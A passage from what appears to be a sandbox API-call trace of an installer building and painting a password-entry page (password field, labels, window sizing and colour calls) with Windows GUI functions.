lpPoint=0x18f5d0) returned 1 [0270.325] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x47, wParam=0x0, lParam=0x18f7fc) returned 0x0 [0270.325] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0270.326] GetClassInfoA (in: hInstance=0x400000, lpClassName="EDIT", lpWndClass=0x18f774 | out: lpWndClass=0x18f774) returned 1 [0270.326] GetClassInfoA (in: hInstance=0x400000, lpClassName="TPasswordEdit", lpWndClass=0x18f7dc | out: lpWndClass=0x18f7dc) returned 0 [0270.326] RegisterClassA (lpWndClass=0x18f774) returned 0x2fc1e7 [0270.326] CreateWindowExA (dwExStyle=0x200, lpClassName="TPasswordEdit", lpWindowName=0x0, dwStyle=0x440100e0, X=0, Y=53, nWidth=265, nHeight=21, hWndParent=0x1035a, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1035c [0270.326] SetWindowLongA (hWnd=0x1035c, nIndex=-4, dwNewLong=2297592) returned 4274892 [0270.326] GetWindowLongA (hWnd=0x1035c, nIndex=-16) returned 1140916448 [0270.326] GetWindowLongA (hWnd=0x1035c, nIndex=-12) returned 0 [0270.327] SetWindowLongA (hWnd=0x1035c, nIndex=-12, dwNewLong=66396) returned 0 [0270.327] SetPropA (hWnd=0x1035c, lpString=0xc167, hData=0x2c746a0) returned 1 [0270.327] SetPropA (hWnd=0x1035c, lpString=0xc168, hData=0x2c746a0) returned 1 [0270.327] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x81, wParam=0x0, lParam=0x18f334) returned 0x1 [0270.327] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x83, wParam=0x0, lParam=0x18f320) returned 0x0 [0270.328] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x1, wParam=0x0, lParam=0x18f334) returned 0x1 [0270.337] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x7c, wParam=0xfffffff0, lParam=0x18ed24) returned 0x0 [0270.338] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x7d, wParam=0xfffffff0, lParam=0x18ed24) returned 0x1 [0270.338] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x55, wParam=0x1035c, lParam=0x3) returned 0x1 [0270.338] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0270.338] IsIconic (hWnd=0x1035c) returned 0 [0270.338] GetWindowRect (in: hWnd=0x1035c, lpRect=0x18f134 | out: lpRect=0x18f134) returned 1 [0270.338] GetWindowLongA (hWnd=0x1035c, nIndex=-16) returned 1140916448 [0270.338] GetWindowLongA (hWnd=0x1035c, nIndex=-8) returned 66394 [0270.338] ScreenToClient (in: hWnd=0x1035a, lpPoint=0x18f134 | out: lpPoint=0x18f134) returned 1 [0270.338] ScreenToClient (in: hWnd=0x1035a, lpPoint=0x18f13c | out: lpPoint=0x18f13c) returned 1 [0270.338] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x5, wParam=0x0, lParam=0x110105) returned 0x0 [0270.339] GetClientRect (in: hWnd=0x1035c, lpRect=0x18f160 | out: lpRect=0x18f160) returned 1 [0270.339] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x3, wParam=0x0, lParam=0x370002) returned 0x0 [0270.339] IsIconic (hWnd=0x1035c) returned 0 [0270.339] GetWindowRect (in: hWnd=0x1035c, lpRect=0x18f138 | out: lpRect=0x18f138) returned 1 [0270.339] GetWindowLongA (hWnd=0x1035c, nIndex=-16) returned 1140916448 [0270.339] GetWindowLongA (hWnd=0x1035c, nIndex=-8) returned 66394 [0270.339] ScreenToClient (in: hWnd=0x1035a, lpPoint=0x18f138 | out: lpPoint=0x18f138) returned 1 [0270.339] ScreenToClient (in: hWnd=0x1035a, lpPoint=0x18f140 | out: lpPoint=0x18f140) returned 1 [0270.339] GetWindowThreadProcessId (in: hWnd=0x1035c, lpdwProcessId=0x18f15c | out: lpdwProcessId=0x18f15c) returned 0x8cc [0270.339] GetCurrentProcessId () returned 0x8d0 [0270.339] GetPropA (hWnd=0x1035c, lpString=0xc167) returned 0x2c746a0 [0270.339] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xbe10, wParam=0x35c0001, lParam=0x1035c) returned 0x0 [0270.339] IsIconic (hWnd=0x1035c) returned 0 [0270.339] GetWindowRect (in: hWnd=0x1035c, lpRect=0x18f704 | out: lpRect=0x18f704) returned 1 [0270.339] GetWindowLongA (hWnd=0x1035c, nIndex=-16) returned 1140916448 [0270.339] GetWindowLongA (hWnd=0x1035c, nIndex=-8) returned 66394 [0270.339] ScreenToClient (in: hWnd=0x1035a, lpPoint=0x18f704 | out: lpPoint=0x18f704) returned 1 [0270.339] ScreenToClient (in: hWnd=0x1035a, lpPoint=0x18f70c | out: lpPoint=0x18f70c) returned 1 [0270.339] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x30, wParam=0x290a06a6, lParam=0x1) returned 0x1 [0270.344] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x7c, wParam=0xfffffff0, lParam=0x18f488) returned 0x0 [0270.344] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x7d, wParam=0xfffffff0, lParam=0x18f488) returned 0x1 [0270.345] GetWindowLongA (hWnd=0x1035c, nIndex=-16) returned 1140916448 [0270.345] SendMessageA (hWnd=0x1035c, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0270.345] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0270.345] SendMessageA (hWnd=0x1035c, Msg=0xc5, wParam=0x0, lParam=0x0) returned 0x1 [0270.345] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xc5, wParam=0x0, lParam=0x0) returned 0x1 [0270.345] SendMessageA (hWnd=0x1035c, Msg=0xb9, wParam=0x0, lParam=0x0) returned 0x1 [0270.345] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xb9, wParam=0x0, lParam=0x0) returned 0x1 [0270.345] GetDC (hWnd=0x0) returned 0x1f01019b [0270.345] GetTextMetricsA (in: hdc=0x1f01019b, lptm=0x18f798 | out: lptm=0x18f798) returned 1 [0270.345] SelectObject (hdc=0x1f01019b, h=0x290a06a6) returned 0x18a002e [0270.345] GetTextMetricsA (in: hdc=0x1f01019b, lptm=0x18f7d0 | out: lptm=0x18f7d0) returned 1 [0270.345] SelectObject (hdc=0x1f01019b, h=0x18a002e) returned 0x290a06a6 [0270.345] ReleaseDC (hWnd=0x0, hDC=0x1f01019b) returned 1 [0270.345] GetSystemMetrics (nIndex=6) returned 1 [0270.345] SetPropA (hWnd=0x1035c, lpString=0xc167, hData=0x2c746a0) returned 1 [0270.345] SetPropA (hWnd=0x1035c, lpString=0xc168, hData=0x2c746a0) returned 1 [0270.345] SetWindowPos (hWnd=0x1035c, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0270.345] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x46, wParam=0x0, lParam=0x18f7e0) returned 0x0 [0270.345] SetWindowPos (hWnd=0x1035c, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0270.345] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x46, wParam=0x0, lParam=0x18f790) returned 0x0 [0270.346] IsIconic (hWnd=0x1035c) returned 0 [0270.346] GetWindowRect (in: hWnd=0x1035c, lpRect=0x18f55c | out: lpRect=0x18f55c) returned 1 [0270.346] GetWindowLongA (hWnd=0x1035c, nIndex=-16) returned 1409351904 [0270.346] GetWindowLongA (hWnd=0x1035c, nIndex=-8) returned 66394 [0270.346] ScreenToClient (in: hWnd=0x1035a, lpPoint=0x18f55c | out: lpPoint=0x18f55c) returned 1 [0270.346] ScreenToClient (in: hWnd=0x1035a, lpPoint=0x18f564 | out: lpPoint=0x18f564) returned 1 [0270.346] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x47, wParam=0x0, lParam=0x18f790) returned 0x0 [0270.346] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0270.346] GetClassInfoA (in: hInstance=0x400000, lpClassName="STATIC", lpWndClass=0x18f78c | out: lpWndClass=0x18f78c) returned 1 [0270.346] GetClassInfoA (in: hInstance=0x400000, lpClassName="TNewStaticText", lpWndClass=0x18f7f4 | out: lpWndClass=0x18f7f4) returned 1 [0270.346] CreateWindowExA (dwExStyle=0x0, lpClassName="TNewStaticText", lpWindowName="&Password:", dwStyle=0x44000100, X=0, Y=37, nWidth=417, nHeight=14, hWndParent=0x1035a, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1035e [0270.346] SetWindowLongA (hWnd=0x1035e, nIndex=-4, dwNewLong=2297579) returned 4274892 [0270.347] GetWindowLongA (hWnd=0x1035e, nIndex=-16) returned 1140850944 [0270.347] GetWindowLongA (hWnd=0x1035e, nIndex=-12) returned 0 [0270.347] SetWindowLongA (hWnd=0x1035e, nIndex=-12, dwNewLong=66398) returned 0 [0270.347] SetPropA (hWnd=0x1035e, lpString=0xc167, hData=0x2c747bc) returned 1 [0270.347] SetPropA (hWnd=0x1035e, lpString=0xc168, hData=0x2c747bc) returned 1 [0270.347] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1035e, Msg=0x81, wParam=0x0, lParam=0x18f34c) returned 0x1 [0270.347] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1035e, Msg=0x83, wParam=0x0, lParam=0x18f338) returned 0x0 [0270.347] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1035e, Msg=0x1, wParam=0x0, lParam=0x18f34c) returned 0x0 [0270.347] IsIconic (hWnd=0x1035e) returned 0 [0270.347] GetWindowRect (in: hWnd=0x1035e, lpRect=0x18f14c | out: lpRect=0x18f14c) returned 1 [0270.347] GetWindowLongA (hWnd=0x1035e, nIndex=-16) returned 1140850944 [0270.347] GetWindowLongA (hWnd=0x1035e, nIndex=-8) returned 66394 [0270.347] ScreenToClient (in: hWnd=0x1035a, lpPoint=0x18f14c | out: lpPoint=0x18f14c) returned 1 [0270.347] ScreenToClient (in: hWnd=0x1035a, lpPoint=0x18f154 | out: lpPoint=0x18f154) returned 1 [0270.348] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1035e, Msg=0x5, wParam=0x0, lParam=0xe01a1) returned 0x0 [0270.348] GetClientRect (in: hWnd=0x1035e, lpRect=0x18f178 | out: lpRect=0x18f178) returned 1 [0270.348] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1035e, Msg=0x3, wParam=0x0, lParam=0x250000) returned 0x0 [0270.348] IsIconic (hWnd=0x1035e) returned 0 [0270.348] GetWindowRect (in: hWnd=0x1035e, lpRect=0x18f150 | out: lpRect=0x18f150) returned 1 [0270.348] GetWindowLongA (hWnd=0x1035e, nIndex=-16) returned 1140850944 [0270.348] GetWindowLongA (hWnd=0x1035e, nIndex=-8) returned 66394 [0270.348] ScreenToClient (in: hWnd=0x1035a, lpPoint=0x18f150 | out: lpPoint=0x18f150) returned 1 [0270.348] ScreenToClient (in: hWnd=0x1035a, lpPoint=0x18f158 | out: lpPoint=0x18f158) returned 1 [0270.348] GetWindowThreadProcessId (in: hWnd=0x1035e, lpdwProcessId=0x18f174 | out: lpdwProcessId=0x18f174) returned 0x8cc [0270.348] GetCurrentProcessId () returned 0x8d0 [0270.348] GetPropA (hWnd=0x1035e, lpString=0xc167) returned 0x2c747bc [0270.348] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1035e, Msg=0xbe10, wParam=0x35e0001, lParam=0x1035e) returned 0x0 [0270.348] IsIconic (hWnd=0x1035e) returned 0 [0270.348] GetWindowRect (in: hWnd=0x1035e, lpRect=0x18f71c | out: lpRect=0x18f71c) returned 1 [0270.348] GetWindowLongA (hWnd=0x1035e, nIndex=-16) returned 1140850944 [0270.348] GetWindowLongA (hWnd=0x1035e, nIndex=-8) returned 66394 [0270.348] ScreenToClient (in: hWnd=0x1035a, lpPoint=0x18f71c | out: lpPoint=0x18f71c) returned 1 [0270.348] ScreenToClient (in: hWnd=0x1035a, lpPoint=0x18f724 | out: lpPoint=0x18f724) returned 1 [0270.348] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1035e, Msg=0x30, wParam=0x290a06a6, lParam=0x1) returned 0x0 [0270.348] SetPropA (hWnd=0x1035e, lpString=0xc167, hData=0x2c747bc) returned 1 [0270.348] SetPropA (hWnd=0x1035e, lpString=0xc168, hData=0x2c747bc) returned 1 [0270.348] SetWindowPos (hWnd=0x1035e, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0270.348] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1035e, Msg=0x46, wParam=0x0, lParam=0x18f7e0) returned 0x0 [0270.348] IsIconic (hWnd=0x1035e) returned 0 [0270.349] GetWindowRect (in: hWnd=0x1035e, lpRect=0x18f5ac | out: lpRect=0x18f5ac) returned 1 [0270.349] GetWindowLongA (hWnd=0x1035e, nIndex=-16) returned 1140850944 [0270.349] GetWindowLongA (hWnd=0x1035e, nIndex=-8) returned 66394 [0270.349] ScreenToClient (in: hWnd=0x1035a, lpPoint=0x18f5ac | out: lpPoint=0x18f5ac) returned 1 [0270.349] ScreenToClient (in: hWnd=0x1035a, lpPoint=0x18f5b4 | out: lpPoint=0x18f5b4) returned 1 [0270.349] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1035e, Msg=0x47, wParam=0x0, lParam=0x18f7e0) returned 0x0 [0270.349] SetWindowPos (hWnd=0x1035e, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0270.349] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1035e, Msg=0x46, wParam=0x0, lParam=0x18f790) returned 0x0 [0270.349] IsIconic (hWnd=0x1035e) returned 0 [0270.349] GetWindowRect (in: hWnd=0x1035e, lpRect=0x18f55c | out: lpRect=0x18f55c) returned 1 [0270.349] GetWindowLongA (hWnd=0x1035e, nIndex=-16) returned 1409286400 [0270.349] GetWindowLongA (hWnd=0x1035e, nIndex=-8) returned 66394 [0270.349] ScreenToClient (in: hWnd=0x1035a, lpPoint=0x18f55c | out: lpPoint=0x18f55c) returned 1 [0270.349] ScreenToClient (in: hWnd=0x1035a, lpPoint=0x18f564 | out: lpPoint=0x18f564) returned 1 [0270.349] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1035e, Msg=0x47, wParam=0x0, lParam=0x18f790) returned 0x0 [0270.349] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0270.349] GetClassInfoA (in: hInstance=0x400000, lpClassName="STATIC", lpWndClass=0x18f78c | out: lpWndClass=0x18f78c) returned 1 [0270.349] GetClassInfoA (in: hInstance=0x400000, lpClassName="TNewStaticText", lpWndClass=0x18f7f4 | out: lpWndClass=0x18f7f4) returned 1 [0270.350] CreateWindowExA (dwExStyle=0x0, lpClassName="TNewStaticText", lpWindowName="Please provide the password, then click Next to continue. Passwords are case-sensitive.", dwStyle=0x44000180, X=0, Y=0, nWidth=417, nHeight=27, hWndParent=0x1035a, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10360 [0270.350] SetWindowLongA (hWnd=0x10360, nIndex=-4, dwNewLong=2297566) returned 4274892 [0270.350] GetWindowLongA (hWnd=0x10360, nIndex=-16) returned 1140851072 [0270.350] GetWindowLongA (hWnd=0x10360, nIndex=-12) returned 0 [0270.350] SetWindowLongA (hWnd=0x10360, nIndex=-12, dwNewLong=66400) returned 0 [0270.350] SetPropA (hWnd=0x10360, lpString=0xc167, hData=0x2c748c8) returned 1 [0270.350] SetPropA (hWnd=0x10360, lpString=0xc168, hData=0x2c748c8) returned 1 [0270.350] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10360, Msg=0x81, wParam=0x0, lParam=0x18f34c) returned 0x1 [0270.350] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10360, Msg=0x83, wParam=0x0, lParam=0x18f338) returned 0x0 [0270.350] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10360, Msg=0x1, wParam=0x0, lParam=0x18f34c) returned 0x0 [0270.351] IsIconic (hWnd=0x10360) returned 0 [0270.351] GetWindowRect (in: hWnd=0x10360, lpRect=0x18f14c | out: lpRect=0x18f14c) returned 1 [0270.351] GetWindowLongA (hWnd=0x10360, nIndex=-16) returned 1140851072 [0270.351] GetWindowLongA (hWnd=0x10360, nIndex=-8) returned 66394 [0270.351] ScreenToClient (in: hWnd=0x1035a, lpPoint=0x18f14c | out: lpPoint=0x18f14c) returned 1 [0270.351] ScreenToClient (in: hWnd=0x1035a, lpPoint=0x18f154 | out: lpPoint=0x18f154) returned 1 [0270.351] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10360, Msg=0x5, wParam=0x0, lParam=0x1b01a1) returned 0x0 [0270.351] GetClientRect (in: hWnd=0x10360, lpRect=0x18f178 | out: lpRect=0x18f178) returned 1 [0270.351] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10360, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0270.351] IsIconic (hWnd=0x10360) returned 0 [0270.351] GetWindowRect (in: hWnd=0x10360, lpRect=0x18f150 | out: lpRect=0x18f150) returned 1 [0270.351] GetWindowLongA (hWnd=0x10360, nIndex=-16) returned 1140851072 [0270.351] GetWindowLongA (hWnd=0x10360, nIndex=-8) returned 66394 [0270.351] ScreenToClient (in: hWnd=0x1035a, lpPoint=0x18f150 | out: lpPoint=0x18f150) returned 1 [0270.351] ScreenToClient (in: hWnd=0x1035a, lpPoint=0x18f158 | out: lpPoint=0x18f158) returned 1 [0270.351] GetWindowThreadProcessId (in: hWnd=0x10360, lpdwProcessId=0x18f174 | out: lpdwProcessId=0x18f174) returned 0x8cc [0270.351] GetCurrentProcessId () returned 0x8d0 [0270.351] GetPropA (hWnd=0x10360, lpString=0xc167) returned 0x2c748c8 [0270.351] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10360, Msg=0xbe10, wParam=0x3600001, lParam=0x10360) returned 0x0 [0270.351] IsIconic (hWnd=0x10360) returned 0 [0270.351] GetWindowRect (in: hWnd=0x10360, lpRect=0x18f71c | out: lpRect=0x18f71c) returned 1 [0270.351] GetWindowLongA (hWnd=0x10360, nIndex=-16) returned 1140851072 [0270.351] GetWindowLongA (hWnd=0x10360, nIndex=-8) returned 66394 [0270.351] ScreenToClient (in: hWnd=0x1035a, lpPoint=0x18f71c | out: lpPoint=0x18f71c) returned 1 [0270.351] ScreenToClient (in: hWnd=0x1035a, lpPoint=0x18f724 | out: lpPoint=0x18f724) returned 1 [0270.351] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10360, Msg=0x30, wParam=0x290a06a6, lParam=0x1) returned 0x0 [0270.351] SetPropA (hWnd=0x10360, lpString=0xc167, hData=0x2c748c8) returned 1 [0270.351] SetPropA (hWnd=0x10360, lpString=0xc168, hData=0x2c748c8) returned 1 [0270.351] SetWindowPos (hWnd=0x10360, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0270.351] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10360, Msg=0x46, wParam=0x0, lParam=0x18f7e0) returned 0x0 [0270.352] IsIconic (hWnd=0x10360) returned 0 [0270.352] GetWindowRect (in: hWnd=0x10360, lpRect=0x18f5ac | out: lpRect=0x18f5ac) returned 1 [0270.352] GetWindowLongA (hWnd=0x10360, nIndex=-16) returned 1140851072 [0270.352] GetWindowLongA (hWnd=0x10360, nIndex=-8) returned 66394 [0270.352] ScreenToClient (in: hWnd=0x1035a, lpPoint=0x18f5ac | out: lpPoint=0x18f5ac) returned 1 [0270.352] ScreenToClient (in: hWnd=0x1035a, lpPoint=0x18f5b4 | out: lpPoint=0x18f5b4) returned 1 [0270.352] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10360, Msg=0x47, wParam=0x0, lParam=0x18f7e0) returned 0x0 [0270.352] SetWindowPos (hWnd=0x10360, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0270.352] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10360, Msg=0x46, wParam=0x0, lParam=0x18f790) returned 0x0 [0270.352] IsIconic (hWnd=0x10360) returned 0 [0270.352] GetWindowRect (in: hWnd=0x10360, lpRect=0x18f55c | out: lpRect=0x18f55c) returned 1 [0270.352] GetWindowLongA (hWnd=0x10360, nIndex=-16) returned 1409286528 [0270.352] GetWindowLongA (hWnd=0x10360, nIndex=-8) returned 66394 [0270.352] ScreenToClient (in: hWnd=0x1035a, lpPoint=0x18f55c | out: lpPoint=0x18f55c) returned 1 [0270.352] ScreenToClient (in: hWnd=0x1035a, lpPoint=0x18f564 | out: lpPoint=0x18f564) returned 1 [0270.352] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10360, Msg=0x47, wParam=0x0, lParam=0x18f790) returned 0x0 [0270.352] SetWindowPos (hWnd=0x1035a, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0270.352] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x46, wParam=0x0, lParam=0x18f7ac) returned 0x0 [0270.353] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0270.353] GetClientRect (in: hWnd=0x1035a, lpRect=0x18f5d4 | out: lpRect=0x18f5d4) returned 1 [0270.353] FillRect (hDC=0x1b0106ca, lprc=0x18f5d4, hbr=0xe100186) returned 1 [0270.356] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10360, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0270.356] GetClientRect (in: hWnd=0x10360, lpRect=0x18f5d4 | out: lpRect=0x18f5d4) returned 1 [0270.356] FillRect (hDC=0x2a010b57, lprc=0x18f5d4, hbr=0xe100186) returned 1 [0270.357] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1035e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0270.357] GetClientRect (in: hWnd=0x1035e, lpRect=0x18f5d4 | out: lpRect=0x18f5d4) returned 1 [0270.357] FillRect (hDC=0x1f01019b, lprc=0x18f5d4, hbr=0xe100186) returned 1 [0270.357] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0270.357] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x2a010b57, lParam=0x1035c) returned 0x2f100178 [0270.357] GetSysColor (nIndex=8) returned 0x0 [0270.357] SetTextColor (hdc=0x2a010b57, color=0x0) returned 0x0 [0270.357] GetSysColor (nIndex=5) returned 0xffffff [0270.357] SetBkColor (hdc=0x2a010b57, color=0xffffff) returned 0xffffff [0270.358] GetClientRect (in: hWnd=0x1035a, lpRect=0x18f13c | out: lpRect=0x18f13c) returned 1 [0270.358] FillRect (hDC=0x2d01018c, lprc=0x18f13c, hbr=0xe100186) returned 1 [0270.358] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x318, wParam=0x2d01018c, lParam=0x4) returned 0x0 [0270.363] GetClientRect (in: hWnd=0x1035c, lpRect=0x18f5d4 | out: lpRect=0x18f5d4) returned 1 [0270.363] FillRect (hDC=0x2a010b57, lprc=0x18f5d4, hbr=0x2f100178) returned 1 [0270.363] IsIconic (hWnd=0x1035a) returned 0 [0270.363] GetWindowRect (in: hWnd=0x1035a, lpRect=0x18f578 | out: lpRect=0x18f578) returned 1 [0270.363] GetWindowLongA (hWnd=0x1035a, nIndex=-16) returned 1442840576 [0270.363] GetWindowLongA (hWnd=0x1035a, nIndex=-8) returned 262968 [0270.363] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f578 | out: lpPoint=0x18f578) returned 1 [0270.363] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f580 | out: lpPoint=0x18f580) returned 1 [0270.363] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x47, wParam=0x0, lParam=0x18f7ac) returned 0x0 [0270.363] GetClientRect (in: hWnd=0x40338, lpRect=0x18f8ac | out: lpRect=0x18f8ac) returned 1 [0270.363] IsRectEmpty (lprc=0x18f8ac) returned 0 [0270.363] IsRectEmpty (lprc=0x18f8ac) returned 0 [0270.364] IsRectEmpty (lprc=0x18f8ac) returned 0 [0270.364] SetWindowPos (hWnd=0x20320, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x97) returned 1 [0270.364] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x46, wParam=0x0, lParam=0x18f7ac) returned 0x0 [0270.364] IsIconic (hWnd=0x20320) returned 0 [0270.364] GetWindowRect (in: hWnd=0x20320, lpRect=0x18f578 | out: lpRect=0x18f578) returned 1 [0270.364] GetWindowLongA (hWnd=0x20320, nIndex=-16) returned 1174405120 [0270.364] GetWindowLongA (hWnd=0x20320, nIndex=-8) returned 262968 [0270.364] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f578 | out: lpPoint=0x18f578) returned 1 [0270.364] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f580 | out: lpPoint=0x18f580) returned 1 [0270.364] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x47, wParam=0x0, lParam=0x18f7ac) returned 0x0 [0270.364] GetClientRect (in: hWnd=0x40338, lpRect=0x18f8ac | out: lpRect=0x18f8ac) returned 1 [0270.364] IsRectEmpty (lprc=0x18f8ac) returned 0 [0270.364] IsRectEmpty (lprc=0x18f8ac) returned 0 [0270.364] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x11 [0270.364] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0xd, wParam=0x12, lParam=0x2c80020) returned 0x11 [0270.365] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0xc, wParam=0x0, lParam=0x38ebac) returned 0x1 [0270.365] SendMessageA (hWnd=0x10354, Msg=0xbd38, wParam=0x2a010b57, lParam=0x10354) returned 0x2f100178 [0270.365] GetSysColor (nIndex=8) returned 0x0 [0270.365] SetTextColor (hdc=0x2a010b57, color=0x0) returned 0x0 [0270.365] GetSysColor (nIndex=5) returned 0xffffff [0270.365] SetBkColor (hdc=0x2a010b57, color=0xffffff) returned 0xffffff [0270.365] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0270.365] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0xd, wParam=0x9, lParam=0x18e464) returned 0x8 [0270.366] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0270.366] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0xd, wParam=0x9, lParam=0x18e394) returned 0x8 [0270.366] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0xd, wParam=0x12, lParam=0x18e368) returned 0x8 [0270.367] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0xb012, wParam=0x0, lParam=0x0) returned 0x0 [0270.367] InvalidateRect (hWnd=0x10354, lpRect=0x0, bErase=0) returned 1 [0270.367] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x42 [0270.367] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0xd, wParam=0x43, lParam=0x2c8e3b8) returned 0x42 [0270.367] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0xc, wParam=0x0, lParam=0x38d5fc) returned 0x1 [0270.368] SendMessageA (hWnd=0x10352, Msg=0xbd38, wParam=0x1f01019b, lParam=0x10352) returned 0x2f100178 [0270.368] GetSysColor (nIndex=8) returned 0x0 [0270.368] SetTextColor (hdc=0x1f01019b, color=0x0) returned 0x0 [0270.368] GetSysColor (nIndex=5) returned 0xffffff [0270.368] SetBkColor (hdc=0x1f01019b, color=0xffffff) returned 0xffffff [0270.368] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x28 [0270.369] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0xd, wParam=0x29, lParam=0x18e464) returned 0x28 [0270.369] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x28 